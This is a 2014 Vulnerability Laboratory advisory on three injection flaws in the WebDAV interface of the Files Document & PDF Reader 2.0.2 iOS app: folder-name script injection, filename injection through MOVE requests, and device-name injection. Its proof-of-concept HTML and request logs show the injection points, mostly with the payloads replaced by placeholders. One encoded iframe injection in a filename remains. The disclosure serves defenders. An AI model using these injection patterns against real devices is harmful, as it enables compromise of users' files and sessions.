Document Title: =============== Files Document & PDF 2.0.2 iOS - Multiple Vulnerabilities
References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1341 Release Date: ============= 2014-10-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1341 Common Vulnerability Scoring System: ==================================== 8.7 Product & Service Introduction: =============================== Store and view your documents, transferring them easily from any Mac or PC. High quality viewers, including support for PDF, Office, iWork & images. Full integration with Box, Dropbox, Google Drive & OneDrive [Pro feature]. Play music; watch movies; access your cloud storage or download from the internet. (Copy of the Vendor Homepage: https://itunes.apple.com/us/app/files-document-pdf-reader/id294150896 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Files Document & PDF Reader 2.0.2 iOS mobile application. Vulnerability Disclosure Timeline: ================================== 2014-10-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Olive Toast Software Ltd. Product: Files Document & PDF Reader - iOS Mobile WebDav Application (Wifi) 2.0.2 Exploitation Technique: ======================= Remote Severity Level: =============== Critical Technical Details & Description: ================================ 1.1 A code execution web vulnerability has been discovered in the official Files Document & PDF Reader 2.0.2 iOS mobile application. The issue allows an attacker to compromise the application and connected device components by exploitation of system specific code execution vulnerability in the webdisk interface. The vulnerability is located in the MKCOL request of the `Ordner Erstellen` input module. The main web-dav index provides a function to add folder as path through a regular input form form which is not correctly encoding the input. Own malicious context can be injected to the add folder function and the results is the application-side execution of system specific malicious codes. The input field of the upload modules executes the input wrong encoded via POST method request as filename value. Remote attackers are also able to execute own malicious codes by usage of a script code payload in combination with the affected values. The execution of the code occurs in the main web-dav file dir web listing context. The attack vector is located on application-side and the request method to attack the service is MKCOL. The security risk of the remote code execution web vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.6 Exploitation of the remote code execution web vulnerability requires no privileged application user account (passwd default blank) or user interaction. Successful exploitation of the code execution vulnerability results in mobile application compromise and connected or affected device component compromise. Vulnerable Method(s): [+] MKCOL Vulnerable Module(s): [+] Ordner Erstellen (Folder Add) Vulnerable Parameter(s): [+] ot_notification Affected Module(s): [+] Web Dav - Interface Path Dir Listing 1.2 A local file include web vulnerability has been discovered in the official Files Document & PDF Reader 2.0.2 iOS mobile application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the `filename` values of the `rename` input. Remote attackers are able to inject own files with malicious `filename` values in the `Move` request to compromise the mobile web-application. The attacker is able to inject the local file include requests by usage of the `wifi interface` in connection with the vulnerable create to add request. The local file/path include execution occcurs in the web dav file dir listing. Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute different local malicious attacks requests. The attack vector is on the application-side of the file wifi mobile app. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.1. Exploitation of the file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise. Vulnerable Method(s): [+] [Created] Vulnerable Module(s): [+] Rename Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Web Dav - Interface File Dir Listing 1.3 A local command/path injection web vulnerability has been discovered in the official Files Document & PDF Reader 2.0.2 iOS mobile application. The remote web vulnerability allows to inject local commands via vulnerable system values to compromise the apple iOS mobile web-application. The vulnerability is located in the in the device name value of the web dav index header context module. Local attackers are able to inject own script codes by changing the local iOS devicename to malicious context with special chars. The execute of the injected script code occurs with persistent attack vector in the header section of the wifi web-interface. The security risk of the command/path inject vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 5.2. Exploitation of the command/path inject vulnerability requires a local low privileged iOS device account with restricted access and no user interaction. Successful exploitation of the vulnerability results in unauthorized execute of system specific commands or unauthorized path requests. Request Method(s): [+] [GET] Vulnerable Parameter(s): [+] devicename Affected Module(s): [+] Web Dav - Web Interface Wifi [Application Header Context] Proof of Concept (PoC): ======================= 1.1 The local command inject web vulnerability can be exploited by local attackers with physcial device access by low privileged accounts and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: Web Dav Server - Interface Index <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <title>Files - bkm337"><[LOCAL COMMAND INJECT VULNERABILITY VIA DEVICE NAME VALUE!]></title> <link rel="stylesheet" href="234C930E-2662-4104-B498-0AF172314DAF" type="text/css" media="screen" charset="UTF-8"/> <script type="text/javascript" src="F59FEFFF-9F87-4906-8F48-5CF14F3E3422"></script> <!--[if lte IE 7]> <style type="text/css">body{min-width:700px} #ot_files_title{line-height:80%} .ot_actions button{padding:0px; margin-left:0px}</style> <![endif]--> </head> <body> <div> <h2 id="ot_files_title" class="link" onclick="window.open('http://www.olivetoast.com')">WebDAV Server<br/> <span>© Olive Toast Software Ltd.</span> </h2> </div> <h1 class="text-center ot_root_title">Files - bkm337"><[LOCAL COMMAND INJECT VULNERABILITY VIA DEVICE NAME VALUE!]></h1> <div class="text-center"> <!-- Using table layout because display:inline-block (with divs) isn't supported by ie6/7 --> <table class="ot_root_table"> <tr> <td id="ot_documents" class="ot_rootfolder"> <a href="/Documents/"> <img src="E9936039-D58C-4D9B-94C6-0A0DF86DA628" alt="Documents Folder"/> <p class="ot_rootfolder_caption">Dokumente</p> </a> </td> <td id="ot_public" class="ot_rootfolder"> <a href="/Public/"> <img src="98301160-7F1E-401C-9FE9-022A78CA3990" alt="Public Folder"/> <p class="ot_rootfolder_caption">Öffentlich</p> </a> </td> </tr> </table> </div> <div class="hr"></div> <div class="footer"> <span id="ot_footer_text">WebDAV Server</span><br/> <span class="link" onclick="window.open ('http://www.olivetoast.com')">© Olive Toast Software Ltd.</span> </div> </body> </html> 1.2 The code execution vulnerability can be exploited by remote attackers without privileged application user account and also without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: ot_notification name > Ordner Erstellen <div id="ot_actions_top" class="ot_actions"> <!-- MSIE6 doesn't support 'name' on non-input/button tags --> <span class="ot_select">Auswählen: </span><span class="menu ot_select_all">Alle</span> <b>|</b> <span class="menu ot_select_none">Keine</span> <button style="padding: 0px;" name="ot_delete_button" class="ot_group_start">Löschen</button> <button style="padding: 0px;" name="ot_rename_button" class="ot_group_start">Umbenennen</button> <button style="padding: 0px;" name="ot_move_button">Verschieben</button><ul class="popup_menu" name="ot_move_menu"></ul> <button style="padding: 0px;" name="ot_copy_button">Kopieren nach</button><ul class="popup_menu" name="ot_copy_menu"></ul> <button style="padding: 0px;" name="ot_jump_button" class="ot_group_start">Springen</button><ul class="popup_menu" name="ot_jump_menu"></ul> <button style="padding: 0px;" name="ot_createfolder_button" class="ot_group_start">Ordner erstellen</button> <span disabled="false" class="ot_refresh_list menu ot_group_start">Neu laden</span></div> <div class="hr"></div> <div class="ot_notification_container"> <span style="visibility: visible;" id="ot_notification_top" class="ot_notification">Erstellen von '"><[PERSISTENT INJECTED SCRIPT CODE VIA FOLDERNAME!]">' fehlgeschlagen</iframe></span> </div><h2 id="ot_content_title"><a href="/">Files</a>/<a href="/Documents/">Documents</a></h2> --- PoC Session Logs [MKCOL] --- Status: 200[OK] MKCOL http://localhost:8080/Documents/%22%3E%3C-[CODE EXECUTION VULNERABILITY VIA FOLDERNAME VALUE!]; Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[unknown] Mime Type[unknown] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Referer[http://localhost/Documents/] Content-Length[0] Content-Type[text/plain; charset=UTF-8] Cookie[otsessionid=; otsessionid=] Status: 200[OK] MKCOL http://localhost:8080/Documents/-[CODE EXECUTION VULNERABILITY VIA FOLDERNAME VALUE!]; Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[unknown] Mime Type[unknown] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost/Documents/] Cookie[otsessionid=; otsessionid=] 1.3 The local file include web vulnerability can be exploited by local attackers without privileged application user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: localhost:8080/Documents/ - Web Dav via Rename function <table> <thead style="display: table-header-group;" id="ot_file_listing_header"> <tr> <th></th> <th id="ot_name_header" class="text-left sort">Name<img src="D52A0C4C-AB72-4105-9AD1-77E0FD6B18CE"></th> <th id="ot_size_header" class="text-right sort">Größe<img src="D52A0C4C-AB72-4105-9AD1-77E0FD6B18CE" style="visibility:hidden"></th> <th></th> <th id="ot_date_header" class="text-left sort">Datum<img src="D52A0C4C-AB72-4105-9AD1-77E0FD6B18CE" style="visibility:hidden"></th> </tr> </thead> <tbody id="ot_file_listing"> <tr selected="yes"><td><input type="checkbox"></td><td class="name"><a collection="no" href="/Documents/Willkommen.docx%20%22%3E%3Ciframe%20src%3Da%3E"><img src="/85AEFEF7-ABF5-4199-84FF-C694D6E47DC2"> <span class="filename">Willkommen.docx "><./[FILE INCLUDE VULNERABILITY VIA FILENAME!]></span></a></td><td class="size">5 KB</td><td class="download"></td> <td class="date">15 Sep. 21:04</td></tr> </tbody> </table> <!-- ot_file_listing --> <br> <h3 style="display: none;" id="ot_noitems">(Keine Elemente)</h3> <br> <div class="ot_notification_container"> <span style="visibility: hidden;" id="ot_notification_bottom" class="ot_notification"></span> </div> --- PoC Session Logs --- Status: 201[Created] MOVE http://192.168.2.104/Documents/Willkommen.docx Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host[192.168.2.104] User-Agent [Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] Destination[http://192.168.2.104/Documents/Willkommen.docx%20%22%3E%3C./[FILE INCLUDE VULNERABILITY VIA FILENAME!]%3Da%3E] Overwrite[F] Referer[http://192.168.2.104/Documents/] Content-Length[0] Content-Type[text/plain; charset=UTF-8] Cookie[otsessionid=; otsessionid=] Connection[keep-alive] Response Header: Accept-Ranges[none] Content-Length[0] Server[OTDAV/2.0.2] Location[http://192.168.2.104/Documents/Willkommen.docx%20%22%3E%3C./[FILE INCLUDE VULNERABILITY VIA FILENAME!]%3Da%3E] Date[Mon, 13 Oct 2014 17:53:40 GMT] Status: 200[OK] GET http://192.168.2.104/Documents/./[FILE INCLUDE VULNERABILITY VIA FILENAME!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header: Host [192.168.2.104] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://192.168.2.104/Documents/] Cookie[otsessionid=; otsessionid=] Connection[keep-alive] Response Header: Accept-Ranges[none] Content-Length[0] Server[OTDAV/2.0.2] Connection[close] Date[Mon, 13 Oct 2014 17:53:40 GMT] Solution - Fix & Patch: ======================= 1.1 The code execution issue can be patched by a secure parse and encode of the `Ordner Erstellen` input field. The code execution can be prevented by a secure restriction of the ot_notification value. 1.2 The local file include web vulnerability can be patched by a secure parse and encode of the filename value. Restrict the usage of the rename and move request to prevent further file include attacks. Encode the filename value in each web-dav interface site to prevent the file include request execution. 1.3 To parse the command inject vulnerability it is required to encode the devicename value of the local device itself. Encode the output in the web-dav interface header section to prevent the execution of a payload through the devicename value. Security Risk: ============== 1.1 The security risk of the code execution vulnerability in the `Ordner Erstellen` module is estimated as critical. 1.2 The security risk of the local file include web vulnerability in the filename validation is estimated as high. 1.3 The security risk of the local command inject web vulnerability in the devicename value is etimated as medium. Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (b...@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: ad...@vulnerability-lab.com - resea...@vulnerability-lab.com - ad...@evolution-sec.com Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (ad...@vulnerability-lab.com or resea...@vulnerability-lab.com) to get a permission. Copyright © 2014 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: resea...@vulnerability-lab.com